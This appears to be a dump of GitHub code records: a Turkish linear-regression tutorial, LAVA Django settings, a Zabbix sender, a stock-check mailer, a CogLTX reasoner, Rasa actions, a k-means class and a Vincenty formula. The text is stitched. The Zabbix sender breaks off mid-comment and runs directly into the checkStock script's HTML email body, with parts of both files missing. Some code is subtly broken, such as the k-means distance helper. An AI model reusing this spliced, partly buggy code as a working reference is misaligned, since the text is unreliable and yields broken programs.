olusturuldu\nprint(ulke)\n\nfrom sklearn.preprocessing import OneHotEncoder\nohe = OneHotEncoder(categorical_features = \"all\")\ncinsiyet = ohe.fit_transform(cinsiyet).toarray()\nprint(cinsiyet)\n\n# print(list(range(22))) 0-21 sayilari verir\n\n# numpy dizileri dataframe donusumu\n\nsonuc = pd.DataFrame(data = ulke, index = range(22), columns = ['fr','tr','us']) # OneHotEncoder verilerinden dataframe olusturulur\nprint (sonuc)\n\nsonuc2 = pd.DataFrame(data = yasboykilo, index = range(22), columns = ['boy','kilo','yas'])\nprint(sonuc2)\n\nsonuc3 = pd.DataFrame(data = cinsiyet[:,:1], index=range(22),columns = ['cinsiyet']) # Dummy Variable i engellemek icin yalnizca 1 kolon alinir\nprint(sonuc3)\n\n# concat ile dataframe birlestirme\n\ns = pd.concat([sonuc,sonuc2],axis = 1)\n\ns2 = pd.concat([s,sonuc3],axis = 1)\nprint(s2)\n\n# amac train ile boyyaskilo yu iceren df (s) ile egitmek ve sonuc3 df'mini bulmasini istiyoruz\n# sklearn.cross_validation da kullanilan train_test_split, sklearn.model_selection 'a tasinmis\n\nfrom sklearn.model_selection import train_test_split\nx_train, x_test, y_train, y_test = train_test_split(s,sonuc3,test_size = 0.33, random_state = 0) # s ve sonuc3 df mi parcalanmali\n# literaturde test icin 1/3 iken train icin 2/3 kullanilir\n\n# verilerin olceklenmesi\n'''\nfrom sklearn.preprocessing import StandardScaler\n\nsc = StandardScaler()\nX_train = sc.fit_transform(x_train)\nX_test = sc.fit_transform(x_test)\n'''\n# multiple variable icin model egitimi cinsiyet kolonu icin yapiliyor\n\nfrom sklearn.linear_model import LinearRegression\nregressor = LinearRegression()\nregressor.fit(x_train,y_train) # egitim yapiliyor\n\ny_pred = regressor.predict(x_test) # x_test veilerek, y_test tahmin edilmeye calisiliyor\n# farkli bir kolon uzeinden multiple linear reg modeli olusturup backware elimination ile verimli bir regreyon modeli elde edelim\n\n\n# boy kolonu uzerinden egitilmesini istiyoruz diyelim..\n# boy kolonunu at\n\nboy = s2.iloc[:,3:4].values\nprint(boy)\n\nboy_sol = s2.iloc[:,:3]\nboy_sag = s2.iloc[:,4:]\n\nveri = pd.concat([boy_sol,boy_sag],axis=1) # boy kolonu atildi ve birlestirildi\n\n# simdi egitim verilerini hazirlayalim ve parcalayalim..\n\nx_train, x_test, y_train, y_test = train_test_split(veri, boy, test_size=0.33, random_state = 0) # veri bagimsiz, boy ise tahminl edilmesi istenilen bagimli degisken \n\nr2 = LinearRegression()\nr2.fit(x_train,y_train) # egitim yapiliyor\n\ny_pred = r2.predict(x_test) # x_test veilerek, y_test tahmin edilmeye calisiliyor\n\n# ders: 31 \n\n''' \n y = b0+ b1x1+ b2x2+ b3x3+ E\n formulundeki b0 degerlerini veri dataframe i ile kolon olarak birlestirip bir liste olusturalim\n'''\nimport statsmodels.formula.api as sm\nX = np.append(arr = np.ones((22,1)).astype(int), values = veri, axis = 1 ) # np.ones() 22 satir,1 kolondan ve 1' lerden olusan, astype() par. turunde dizi verir\n# bu X dizisi veri' ye eklenir ve axis = 1 -> kolon olarak eklenir, 0-> satir\n\n# simdi veri df deki her bir kolonu ifade eden bir liste olusturalim\nX_list = veri.iloc[:,[0,1,2,3,4,5]].values\nr = sm.OLS(endog = boy, exog = X_list).fit() # endog -> bagimli, exdog -> bagimsiz degsken\n# X_list deki her bir kolonun boy kolonu uzerindeki p-value degerleri hesplanir\nprint(r.summary())\n\n# backward eliminatin a gore en yuksek P deg sahip olan deger elenir yani burada en yuksek P degsahip kolon elenicek x5 kolonu yani 4 indisli kolon elenir\n\nX_list = veri.iloc[:,[0,1,2,3,5]].values\nr = sm.OLS(endog = boy, exog = X_list).fit()\nprint(r.summary())\n# 5 indisli elenir\n\nX_list = veri.iloc[:,[0,1,2,3]].values\nr = sm.OLS(endog = boy, exog = X_list).fit()\nprint(r.summary())\n\n# En sonunda tum P degerleri 0 olana kadar hangi kolonun ise yarayip yaramadigina dair bir regresyon modeli cikarilmis olur\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"fbasatemur/Machine_Learning","sub_path":"Machine Learning/03- Tahmin (Prediction)- Multiple Linear Reg/tutorial31-geri_eleme(Backward_Elimination).py","file_name":"tutorial31-geri_eleme(Backward_Elimination).py","file_ext":"py","file_size_in_byte":4397,"program_lang":"python","lang":"tr","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"71279739453","text":"# Django settings for django_hello project used on Debian systems.\n\nimport django\nimport os\nimport re\nimport simplejson\n\nfrom lava_server.settings.production import *\nfrom lava_server.settings.config_file import ConfigFile\n\nfrom lava_server.settings.secret_key import get_secret_key\n\n\n# Load the setting file and add the variables to the current context\ntry:\n with open(\"/etc/lava-server/settings.conf\", \"r\") as f_conf:\n for (k, v) in simplejson.load(f_conf).items():\n globals()[k] = v\nexcept (AttributeError, ValueError):\n pass\n\n# Fix mount point\n# Remove the leading slash and keep only one trailing slash\nMOUNT_POINT = (MOUNT_POINT.rstrip(\"/\") + \"/\").lstrip(\"/\")\n\n# Fix ADMINS and MANAGERS variables\n# In Django < 1.9, this is a tuple of tuples\n# In Django >= 1.9 this is a list of tuples\n# See https://docs.djangoproject.com/en/1.8/ref/settings/#admins\n# and https://docs.djangoproject.com/en/1.9/ref/settings/#admins\nif django.VERSION < (1, 9):\n ADMINS = tuple(tuple(v) for v in ADMINS)\n MANAGERS = tuple(tuple(v) for v in MANAGERS)\nelse:\n ADMINS = [tuple(v) for v in ADMINS]\n MANAGERS = [tuple(v) for v in MANAGERS]\n\n# Load default database from distro integration\nconfig = ConfigFile.load(\"/etc/lava-server/instance.conf\")\nDATABASES = {\"default\": {\"ENGINE\": \"django.db.backends.postgresql_psycopg2\",\n \"NAME\": getattr(config, \"LAVA_DB_NAME\", \"\"),\n \"USER\": getattr(config, \"LAVA_DB_USER\", \"\"),\n \"PASSWORD\": getattr(config, \"LAVA_DB_PASSWORD\", \"\"),\n \"HOST\": getattr(config, \"LAVA_DB_SERVER\", \"127.0.0.1\"),\n \"PORT\": getattr(config, \"LAVA_DB_PORT\", \"\"), }}\n\n# Load secret key from distro integration\nSECRET_KEY = get_secret_key(\"/etc/lava-server/secret_key.conf\")\n\n# LDAP authentication config\nif AUTH_LDAP_SERVER_URI:\n INSTALLED_APPS.append('ldap')\n INSTALLED_APPS.append('django_auth_ldap')\n import ldap\n from django_auth_ldap.config import (LDAPSearch, LDAPSearchUnion)\n\n def get_ldap_group_types():\n \"\"\"Return a list of all LDAP group types supported by django_auth_ldap module\"\"\"\n import django_auth_ldap.config\n import inspect\n types = []\n for name, obj in inspect.getmembers(django_auth_ldap.config):\n if inspect.isclass(obj) and name.endswith('Type'):\n types.append(name)\n\n return types\n\n AUTHENTICATION_BACKENDS = ['django_auth_ldap.backend.LDAPBackend',\n 'django.contrib.auth.backends.ModelBackend']\n\n # Available variables: AUTH_LDAP_BIND_DN, AUTH_LDAP_BIND_PASSWORD,\n # AUTH_LDAP_USER_DN_TEMPLATE AUTH_LDAP_USER_ATTR_MAP\n\n if AUTH_LDAP_USER_SEARCH:\n AUTH_LDAP_USER_SEARCH = eval(AUTH_LDAP_USER_SEARCH)\n # AUTH_LDAP_USER_SEARCH and AUTH_LDAP_USER_DN_TEMPLATE are mutually\n # exclusive, hence,\n AUTH_LDAP_USER_DN_TEMPLATE = None\n\n if AUTH_LDAP_GROUP_SEARCH:\n AUTH_LDAP_GROUP_SEARCH = eval(AUTH_LDAP_GROUP_SEARCH)\n\n if AUTH_LDAP_GROUP_TYPE:\n group_type = AUTH_LDAP_GROUP_TYPE\n # strip params from group type to get the class name\n group_class = group_type.split('(', 1)[0]\n group_types = get_ldap_group_types()\n if group_class in group_types:\n exec('from django_auth_ldap.config import ' + group_class)\n AUTH_LDAP_GROUP_TYPE = eval(group_type)\n\nelif AUTH_DEBIAN_SSO:\n MIDDLEWARE_CLASSES.append('lava_server.debian_sso.DebianSsoUserMiddleware')\n AUTHENTICATION_BACKENDS.append('lava_server.debian_sso.DebianSsoUserBackend')\n\nif USE_DEBUG_TOOLBAR:\n INSTALLED_APPS.append('debug_toolbar')\n MIDDLEWARE_CLASSES = ['debug_toolbar.middleware.DebugToolbarMiddleware'] + MIDDLEWARE_CLASSES\n INTERNAL_IPS.extend(['127.0.0.1', '::1'])\n\n# List of compiled regular expression objects representing User-Agent strings\n# that are not allowed to visit any page, systemwide. Use this for bad\n# robots/crawlers\nDISALLOWED_USER_AGENTS = [re.compile(r'%s' % reg, re.IGNORECASE) for reg in DISALLOWED_USER_AGENTS]\n\n# Set instance name\nif os.path.exists(\"/etc/lava-server/instance.conf\"):\n instance_config = ConfigFile.load(\"/etc/lava-server/instance.conf\")\n instance_name = instance_config.LAVA_INSTANCE\n\nINSTANCE_NAME = globals().get(\"INSTANCE_NAME\", instance_name)\n\n# Logging\nLOGGING = {\n 'version': 1,\n 'disable_existing_loggers': False,\n 'filters': {\n 'require_debug_false': {\n '()': 'django.utils.log.RequireDebugFalse'\n }\n },\n 'formatters': {\n 'lava': {\n 'format': '%(levelname)s %(asctime)s %(module)s %(message)s'\n }\n },\n 'handlers': {\n 'console': {\n 'level': 'DEBUG',\n 'class': 'logging.StreamHandler',\n 'formatter': 'lava'\n },\n 'logfile': {\n 'class': 'logging.handlers.WatchedFileHandler',\n 'filename': DJANGO_LOGFILE,\n 'formatter': 'lava'\n }\n },\n 'loggers': {\n 'django': {\n 'handlers': ['logfile'],\n # DEBUG outputs all SQL statements\n 'level': 'ERROR',\n 'propagate': True,\n },\n 'django_auth_ldap': {\n 'handlers': ['logfile'],\n 'level': 'INFO',\n 'propagate': True,\n },\n 'lava_results_app': {\n 'handlers': ['logfile'],\n 'level': 'INFO',\n 'propagate': True,\n },\n 'lava_scheduler_app': {\n 'handlers': ['logfile'],\n 'level': 'INFO',\n 'propagate': True,\n },\n 'publisher': {\n 'handlers': ['console'],\n 'level': 'DEBUG',\n 'propagate': False,\n }\n }\n}\n\n# Add template caching\nif USE_TEMPLATE_CACHE:\n TEMPLATES[0]['OPTIONS']['loaders'] = [('django.template.loaders.cached.Loader',\n TEMPLATES[0]['OPTIONS']['loaders'])]\n","repo_name":"Linaro/lava-server","sub_path":"lava_server/settings/distro.py","file_name":"distro.py","file_ext":"py","file_size_in_byte":5974,"program_lang":"python","lang":"en","doc_type":"code","stars":32,"dataset":"github-code","pt":"78"} +{"seq_id":"11023164745","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\nimport json\nimport logging\nimport re\nimport socket\nimport struct\n\nlogging.getLogger(__name__).addHandler(logging.NullHandler())\n\n\nclass ZabbixSender(object):\n \"\"\"part of https://github.com/zabbix/zabbix/tree/master/src/zabbix_sender\"\"\"\n\n def __init__(self, zabbix_server='127.0.0.1', zabbix_port=10051, connection_timeout=10):\n self.zabbix_server = zabbix_server\n self.zabbix_port = zabbix_port\n self._host = None\n self._key = None\n self._value = None\n self._connection_timeout = connection_timeout\n self._response = None\n self._connection = None\n self._metrics_message = []\n self._request_body = None\n self._metrics_packet = None\n self._return_code = 0\n\n def _create_request_body(self):\n \"\"\"Request/response body described in oficial Zabbix documentation\n https://www.zabbix.com/documentation/current/manual/appendix/items/trapper\"\"\"\n logging.debug(\"Create request packet body...\")\n self._value = json.dumps(self._value, indent=4, sort_keys=False, ensure_ascii=False)\n self._value = str(self._value)\n self._request_body = {\n 'request': 'sender data',\n 'data': [\n {\n 'host': self._host,\n 'key': self._key,\n 'value': self._value,\n }\n ]\n }\n self._request_body = str(json.dumps(self._request_body, ensure_ascii=False))\n logging.debug(\"Request packet body: '{}'\".format(self._request_body))\n\n def _make_request(self):\n \"\"\"Request/response package header and data length described in oficial Zabbix documentation\n https://www.zabbix.com/documentation/current/manual/appendix/protocols/header_datalen\n - \"ZBXD\" (4 bytes).\n - the protocol flags, (1 byte). 0x01 - Zabbix communications protocol, 0x02 - compression).\n - data length (4 bytes). 1 will be formatted as 01/00/00/00 (four bytes, 32 bit number in\n little-endian format).\n - reserved for protocol extensions (4 bytes). \"\"\"\n logging.debug(\"Create request packet...\")\n zbx_protocol = \"ZBXD\"\n zbx_flags = \"\\1\"\n zbx_header = zbx_protocol + zbx_flags\n # Convert header to bytes (5 bytes)\n zbx_header = zbx_header.encode(\"utf-8\")\n # Convert body to bytes\n self._request_body = self._request_body.encode(\"utf-8\")\n # Packet length '\n \n

    Products available: {productsAV}
    \n Products still not not available: {productsNotAV}
    \n
    \n Shop Link:
    {url}\n

    \n

    {error}

    \n \n \n \"\"\"\n\n # Turn these into plain/html MIMEText objects\n part1 = MIMEText(text, \"plain\")\n part2 = MIMEText(html, \"html\")\n\n # Add HTML/plain-text parts to MIMEMultipart message\n # The email client will try to render the last part first\n message.attach(part1)\n message.attach(part2)\n\n # Create secure connection with server and send email\n context = ssl.create_default_context()\n with smtplib.SMTP_SSL(smtp_server, 465, context=context) as server:\n server.login(sender_email, password)\n server.sendmail(\n sender_email, receiver_email, message.as_string()\n )\n\nerror = checkStock()\nproductsAV = ', '.join(availableProducts)\nproductsNotAV = ', '.join(notavailableProducts)\n\n# if error on request or products available -> send mail\nif error or len(availableProducts) > 0:\n sendMail(str(error))\n\n","repo_name":"secure-77/amd-de-stock-check","sub_path":"checkStock.py","file_name":"checkStock.py","file_ext":"py","file_size_in_byte":4301,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"} +{"seq_id":"21518086698","text":"import os\nimport json\nimport logging\nfrom argparse import ArgumentParser\nimport random\nfrom copy import deepcopy\n\nimport pytorch_lightning as pl\nimport torch\nimport torch.nn.functional as F\nfrom torch.utils.data import DataLoader, SequentialSampler, RandomSampler\nfrom torch.utils.data.distributed import DistributedSampler\nfrom transformers import AutoTokenizer, AutoModel, BertForMultipleChoice, get_cosine_schedule_with_warmup\n\nfrom data_helper import AverageMeter\nfrom optimization import WarmupLinearLR\nfrom models import *\nfrom utils import CAPACITY, ForkedPdb\nfrom buffer import buffer_collate_for_reason\n\n\nclass SwagReasonerModule(pl.LightningModule):\n def __init__(self, config):\n super(SwagReasonerModule, self).__init__()\n self.config = config\n self.save_hyperparameters()\n self.tokenizer = AutoTokenizer.from_pretrained(config.model_name)\n self.reasoner = BertForMultipleChoice.from_pretrained(config.model_name)\n self.criterion = torch.nn.CrossEntropyLoss(reduction='none')\n\n self.train_accs = AverageMeter()\n\n def forward(self, x):\n pass\n\n def configure_optimizers(self):\n optimizer = torch.optim.AdamW(\n self.reasoner.parameters(),\n lr=self.config.lr2,\n weight_decay=self.config.weight_decay2\n )\n scheduler = WarmupLinearLR(optimizer, self.trainer.max_epochs * (\n len(self.train_dataset) // self.config.reason_accumulate_grad_batches // self.config.batch_size_reason_per_gpu)) # return [optimizer], [scheduler]\n return {\n \"optimizer\": optimizer,\n \"lr_scheduler\": {\n \"scheduler\": scheduler,\n \"interval\": \"step\",\n \"frequency\": 1\n }\n }\n\n def set_dataset(self, dataset, mode='train'):\n if mode == 'train':\n self.train_dataset = dataset\n elif mode == 'val':\n self.val_dataset = dataset\n elif mode == 'test':\n self.test_dataset = dataset\n else:\n raise ValueError('No such dataset')\n\n # @pl.LightningDataModule.train_dataloader\n def train_dataloader(self):\n # when using multi-node (ddp) we need to add the datasampler\n train_sampler = DistributedSampler(self.train_dataset)\n # train_sampler = RandomSampler(self.train_dataset)\n loader = DataLoader(\n dataset=self.train_dataset,\n batch_size=self.config.batch_size_reason_per_gpu,\n shuffle=False,\n sampler=train_sampler,\n num_workers=self.config.num_workers,\n collate_fn=buffer_collate_for_reason,\n persistent_workers=True\n )\n logging.info('train_dataset reloaded in Reasoner.')\n return loader\n\n def on_train_epoch_start(self):\n self.train_accs.reset()\n self.cuda_device = next(self.reasoner.parameters()).device\n self.change_file = open(os.path.join(self.config.tmp_dir, 'changes_{}.txt'.format(self.cuda_device)), 'w')\n self.compare_file = open(os.path.join(self.config.tmp_dir, 'compare_{}.txt'.format(self.cuda_device)), 'a+')\n self.rel_file = open(os.path.join(self.config.tmp_dir, 'rel_{}.txt'.format(self.cuda_device)), 'a+')\n\n def on_train_epoch_end(self, **kwargs):\n self.change_file.close()\n self.compare_file.write(\"\\n\")\n self.compare_file.close()\n self.rel_file.write(\"\\n\")\n self.rel_file.close()\n\n def training_step(self, batch, batch_idx):\n inputs, labels, pbufs, question_lens_tensor, choice_lens_tensor, passage_lens_tensor = batch\n for pbuf in pbufs:\n res = {\n \"pos\": [],\n \"rel\": []\n }\n for blk in pbuf:\n res[\"pos\"].append(blk.pos)\n res[\"rel\"].append(blk.relevance)\n self.rel_file.write(json.dumps(res, ensure_ascii=False) + '\\n')\n\n logits = self.reasoner(*inputs).logits\n result = self.criterion(logits, labels)\n train_acc = torch.eq(logits.argmax(1), labels).sum().float().item() / labels.size(0)\n self.train_accs.update(train_acc, labels.size(0))\n\n loss_reasoner = result.mean()\n\n # Label the relevance by the current reasoner\n if self.config.latent:\n self._intervention(batch, result)\n self.log_dict({'loss': loss_reasoner, 'acc': self.train_accs.avg}, prog_bar=True)\n return {'loss': loss_reasoner}\n\n def _write_changes(self, blk, key, value):\n # print(\"write change {} {} {}\".format(blk.pos, key, value))\n self.change_file.write('{} {} {}\\n'.format(blk.pos, key, value))\n\n def _intervention(self, batch, result):\n loss_reasoner = result.detach()\n with torch.no_grad():\n max_bs = self.config.batch_size_reason_per_gpu * 4\n inputs, labels, pbufs, question_lens_tensor, choice_lens_tensor, passage_lens_tensor = batch\n input_ids, attention_mask, token_type_ids = inputs\n batch_size = input_ids.size(0)\n for b_idx in range(batch_size):\n # (4, 512)\n ids, attn_mask, type_ids = input_ids[b_idx], attention_mask[b_idx], token_type_ids[b_idx]\n pbuf, question_len, choice_len = pbufs[b_idx], question_lens_tensor[b_idx], choice_lens_tensor[b_idx]\n assert len(pbuf) > 1\n bs = len(pbuf)\n # Make inputs by expand with different attention masks\n ids = ids.view(1, 4, -1).repeat(bs, 1, 1)\n type_ids = type_ids.view(1, 4, -1).repeat(bs, 1, 1)\n attn_mask = attn_mask.view(1, 4, -1).repeat(bs, 1, 1)\n label = labels[b_idx].view(1, -1).repeat(bs, 1)\n\n t = 0\n dblk_length = 0\n for blk_idx, blk in enumerate(pbuf.blocks):\n tmp_blk_length = len(blk) - 2\n for i in range(len(question_len)):\n qc_length = question_len[i] + choice_len[i]\n dblk_start = qc_length + dblk_length\n dblk_end = dblk_start + tmp_blk_length\n attn_mask[t, i, dblk_start:dblk_end].zero_()\n dblk_length += tmp_blk_length\n t += 1\n assert t == bs\n\n losses = []\n for j in range((bs - 1) // max_bs + 1):\n l, r = max_bs * j, min(bs, max_bs * (j + 1))\n # print(attn_masks[l:r])\n logits = self.reasoner(ids[l:r], attn_mask[l:r], type_ids[l:r]).logits\n result = self.criterion(logits, label[l:r].view(-1))\n losses.append(result)\n losses_delta = torch.cat(losses, dim=0) - loss_reasoner[b_idx]\n\n relevances = []\n # Label relevance\n t = 0\n for blk in pbuf.blocks:\n relevances.append(blk.relevance)\n if losses_delta[t] >= self.config.levelup_threshold and blk.relevance < 2: # TODO topk\n self._write_changes(blk, 'relevance', blk.relevance + 1)\n elif losses_delta[t] <= self.config.leveldown_threshold and blk.relevance > -1:\n self._write_changes(blk, 'relevance', blk.relevance - 1)\n t += 1\n w_data = {\n \"losses\": torch.cat(losses, dim=0).tolist(),\n \"loss_reasoner\": loss_reasoner[b_idx].tolist(),\n \"losses_delta\": losses_delta.tolist(),\n \"relevances\": relevances\n }\n self.compare_file.write(json.dumps(w_data, ensure_ascii=False) + '\\n')\n assert t == bs\n\n @staticmethod\n def add_specific_args(parser):\n parser.add_argument('--lr2', type=float, default=1e-4, help='learning rate of reasoner')\n parser.add_argument('--weight_decay2', type=float, default=1e-4, help='weight decay of reasoner')\n parser.add_argument('--levelup_threshold', type=float, default=0.2, help='levelup_threshold')\n parser.add_argument('--leveldown_threshold', type=float, default=-0.05, help='leveldown_threshold')\n parser.add_argument('--batch_size_reason_per_gpu', type=int, default=3, help='reasoner batch_size')\n parser.add_argument('--reason_accumulate_grad_batches', type=int, default=16,\n help='num of reasoner accumulate_grad_batches')\n","repo_name":"Mcxvxv/CogLtxBertSumForMultipleChoice","sub_path":"swag_reasoner_module.py","file_name":"swag_reasoner_module.py","file_ext":"py","file_size_in_byte":8542,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"37640728198","text":"from rasa_core.actions import Action\nfrom rasa_core.actions.forms import EntityFormField, FormAction\nfrom rasa_core.events import SlotSet\nfrom restaurants_api import RestaurantAPI\n\n# set to false to avoid installing and using MongoDB\nACTIVATE_REAL_DB = True\n\nclass ActionSearchRestaurants(FormAction):\n\tdef name(self):\n\t\treturn 'action_search_restaurants'\n\n\tRANDOMIZE = True\n\n\t@staticmethod\n\tdef required_fields():\n\t\treturn [\n\t\t\tEntityFormField(\"cuisine\", \"cuisine\"),\n\t\t\tEntityFormField(\"location\", \"location\"),\n\t\t\tEntityFormField(\"price\", \"price\")\n\t\t]\n\n\tdef submit(self, dispatcher, tracker, domain):\n\t\tdispatcher.utter_message(\"looking for restaurants\")\n\t\tif ACTIVATE_REAL_DB:\n\t\t\trestaurant_api = RestaurantAPI()\n\t\t\trestaurants = restaurant_api.search(\n\t\t\t\ttracker.get_slot(\"cuisine\"),\n\t\t\t\ttracker.get_slot(\"location\"),\n\t\t\t\ttracker.get_slot(\"price\")\n\t\t\t)\n\t\t\treturn [SlotSet(\"matches\", restaurants)]\n\t\telse:\n\t\t\treturn [SlotSet(\"matches\", [\"peppo's pizza party\"])]\n\n\nclass ActionSuggest(Action):\n\tdef name(self):\n\t\treturn 'action_suggest'\n\n\tdef run(self, dispatcher, tracker, domain):\n\t\tif tracker.get_slot(\"matches\") is not None:\n\t\t\tdispatcher.utter_message(\"here's what I found\")\n\t\t\t#dispatcher.utter_message(\"\\n\".join([ \"- %s, %s cuisine in %s, economical class: %s\" % (x['name'],x['cuisine'],x['location'],x['price']) for x in tracker.get_slot(\"matches\")[:5]]))\n\t\t\tdispatcher.utter_message(\",\".join(tracker.get_slot(\"matches\")))\n\t\t\tdispatcher.utter_message(\"is it ok for you? because I'm not going to find anything else\")\n\t\telse:\n\t\t\tdispatcher.utter_message(\"I did not found any restaurant, please retry with less restrictions\")\n\n\t\treturn []\n","repo_name":"lucadiliello/LUS-project2","sub_path":"custom_actions.py","file_name":"custom_actions.py","file_ext":"py","file_size_in_byte":1646,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"74498909693","text":"import numpy as np\nimport pandas as pd\nfrom sklearn.datasets import make_blobs\nfrom random import uniform\n\nclass myKmeans:\n def __init__(self, n_clusters, random_state=0, max_iter=300):\n self.n_clusters = n_clusters\n self.max_iter = max_iter\n self.labels_ = []\n \n def fit(self, X_train):\n # Initiate centroids\n min_, max_ = np.min(X_train, axis=0), np.max(X_train, axis=0)\n self.centroids = [uniform(min_, max_) for _ in range(self.n_clusters)]\n \n iteration = 0\n prev_centroids = None\n while np.not_equal(self.centroids, prev_centroids).any() and iteration < self.max_iter:\n # Sort each datapoint, assigning to nearest centroid\n sorted_points = [[] for _ in range(self.n_clusters)]\n for x in X_train:\n dists = euclidean(x, self.centroids)\n centroid_idx = np.argmin(dists)\n sorted_points[centroid_idx].append(x)\n # Push current centroids to previous, reassign centroids as mean of the points belonging to them\n prev_centroids = self.centroids\n self.centroids = [np.mean(cluster, axis=0) for cluster in sorted_points]\n for i, centroid in enumerate(self.centroids):\n if np.isnan(centroid).any(): # Catch any np.nans, resulting from a centroid having no points\n self.centroids[i] = prev_centroids[i]\n iteration += 1\n\n self.labels_ = self.predict(X_train)\n\n def predict(self, X):\n centroid_idxs = []\n for x in X:\n dists = euclidean(x, self.centroids)\n centroid_idx = np.argmin(dists)\n centroid_idxs.append(centroid_idx)\n return centroid_idxs\n\ndef euclidean(point, data):\n dists = []\n for d in data:\n dists.append(np.sqrt(np.sum((point - data)**2, axis=1)))\n return dists","repo_name":"ychsiao0809/Clustering-Method","sub_path":"models/kmeans.py","file_name":"kmeans.py","file_ext":"py","file_size_in_byte":1892,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"796486899","text":"\"\"\"\nPrepare data format for using the EEG models and set up dispatch functions for the three different preloadeded EEG models.\n\"\"\"\nimport numpy as np\nfrom utility.logger import get_logger, result_logger\nfrom data_training.EEGModels.EEG_Models import EEGNet, DeepConvNet, ShallowConvNet\nfrom keras.callbacks import ModelCheckpoint\nfrom sklearn.model_selection import StratifiedKFold\nfrom tqdm.keras import TqdmCallback\nfrom keras.callbacks import EarlyStopping\nimport matplotlib.pyplot as plt\nfrom sklearn.metrics import confusion_matrix\nimport pandas as pd\nimport seaborn as sn\n\nkernels = 1\n\n\n# Creates a stratified-k-fold cross validation object that splits the data and shuffles it.\ndef stratified_kfold_cv(X, Y, model, logger_location=None):\n skf = StratifiedKFold(n_splits=5, shuffle=True)\n # The initial weights are saved in order to reset the model between k-fold cv iterations\n model.save_weights('initial_weights.h5')\n cv_scores = {}\n split = 0\n for train_index, val_index in skf.split(X, Y):\n model.load_weights('initial_weights.h5')\n # Reshape data into (Num_samples, Num_channels, Num_data_points, kernel=1)\n X_reshaped = X[train_index].reshape((X[train_index].shape[0], X[0].shape[1], X[0].shape[0], kernels))\n X_val_reshaped = X[val_index].reshape((X[val_index].shape[0], X[0].shape[1], X[0].shape[0], kernels))\n model.fit(X_reshaped,\n Y[train_index],\n batch_size=16,\n epochs=300,\n verbose=0,\n validation_data=(X_val_reshaped, Y[val_index]),\n callbacks=[TqdmCallback(verbose=0),\n EarlyStopping(monitor='val_loss', patience=10)])\n\n # reset the model before training\n accuracy = model.evaluate(X_val_reshaped, Y[val_index])\n cv_scores[f'split_{split}'] = accuracy[-1] # accuracy (first value is loss)\n split += 1\n\n\n cv_scores = pd.DataFrame(cv_scores, index=[0])\n cv_scores['mean'] = cv_scores.mean(axis=1)\n cv_scores['std'] = cv_scores.std(axis=1)\n print(f'{cv_scores}')\n if logger_location is not None:\n result_logger(logger_location, f'Training 5 fold cross validation.\\n')\n result_logger(logger_location, f'{cv_scores}\\n')\n stringlist = []\n model.summary(print_fn=lambda x: stringlist.append(x))\n short_model_summary = \"\\n\".join(stringlist)\n result_logger(logger_location, short_model_summary)\n\n return model\n # X_reshaped = X.reshape((X.shape[0], X[0].shape[1], X[0].shape[0], kernels))\n # X_online_reshaped = online_X.reshape((online_X.shape[0], online_X[0].shape[1], online_X[0].shape[0], kernels))\n\n # get_logger().info(f'Cross Validation Finished -- Training using entire dataset')\n # history = model.fit(X_reshaped,\n # Y,\n # batch_size=16,\n # epochs=300,\n # verbose=0,\n # validation_data=(X_online_reshaped, online_Y),\n # callbacks=[TqdmCallback(verbose=0),\n # EarlyStopping(monitor='val_loss', patience=30)])\n # plt.clf()\n # plt.plot(history.history['accuracy'])\n # plt.plot(history.history['val_accuracy'])\n # plt.show()\n\n # Y_hat = model.predict(X_online_reshaped)\n # Y_hat = Y_hat.reshape((len(Y_hat),))\n # plot_confusion_matrix(online_Y, Y_hat)\n # get_logger().info('End of training')\n\n\ndef get_EEGNet(X):\n model = EEGNet(nb_classes=1, Chans=X[0].shape[1], Samples=X[0].shape[0], dropoutRate=0.5, kernLength=32,\n F1=8, D=2, F2=16, dropoutType='Dropout')\n\n model.compile(loss='binary_crossentropy', optimizer='adam',\n metrics=['accuracy'])\n\n return model\n\n\ndef get_DeepConvNet(X):\n model = DeepConvNet(nb_classes=1, Chans=X[0].shape[1], Samples=X[0].shape[0], dropoutRate=0.5)\n\n model.compile(loss='binary_crossentropy', optimizer='adam',\n metrics=['accuracy'])\n\n return model\n\n\ndef get_ShallowConvNet(X):\n model = ShallowConvNet(nb_classes=1, Chans=X[0].shape[1], Samples=X[0].shape[0], dropoutRate=0.5)\n\n model.compile(loss='binary_crossentropy', optimizer='adam',\n metrics=['accuracy'])\n\n return model\n\n\ndef plot_confusion_matrix(Y, Y_hat):\n Y_hat = [round(y_hat) for y_hat in Y_hat]\n conf_matrix = confusion_matrix(Y, Y_hat)\n\n df_cm = pd.DataFrame(conf_matrix)\n\n sn.set(font_scale=1) # for label size\n sn.heatmap(df_cm, annot=True, annot_kws={\"size\": 10}, fmt='g') # font size\n\n plt.show()\n","repo_name":"P9-MI-BCI/mind-reading-and-control","sub_path":"data_training/EEGModels/training.py","file_name":"training.py","file_ext":"py","file_size_in_byte":4615,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"9970885165","text":"'''\r\nVincenty formula calculation - a very accurate way of measuring distance\r\nbetween two (lat,lon) points a short distance apart\r\n\r\nCreated on 26 Nov 2011\r\nPorted to Python by Steven Kay, from original Javascript code by Chris Veness\r\nhttp://www.movable-type.co.uk/scripts/latlong-vincenty.html\r\n\r\nThis script licenced under CC-BY\r\nported by steven kay, Aug 2011\r\n@author: Steven Kay\r\n'''\r\n\r\nimport math\r\nimport angle\r\nNaN = -99999999999999999\r\n\r\ndef distVincenty(lat1, lon1, lat2, lon2):\r\n \"\"\"\r\n Returns distance between two points in meters\r\n \"\"\"\r\n a = 6378137\r\n b = 6356752.314245\r\n f = 1/298.257223563\r\n L = angle.toRad(lon2-lon1)\r\n U1 = math.atan((1-f) * math.tan(angle.toRad(lat1)))\r\n U2 = math.atan((1-f) * math.tan(angle.toRad(lat2)))\r\n sinU1 = math.sin(U1)\r\n cosU1 = math.cos(U1)\r\n sinU2 = math.sin(U2)\r\n cosU2 = math.cos(U2)\r\n _lambda = L\r\n lambdaP=0.0\r\n 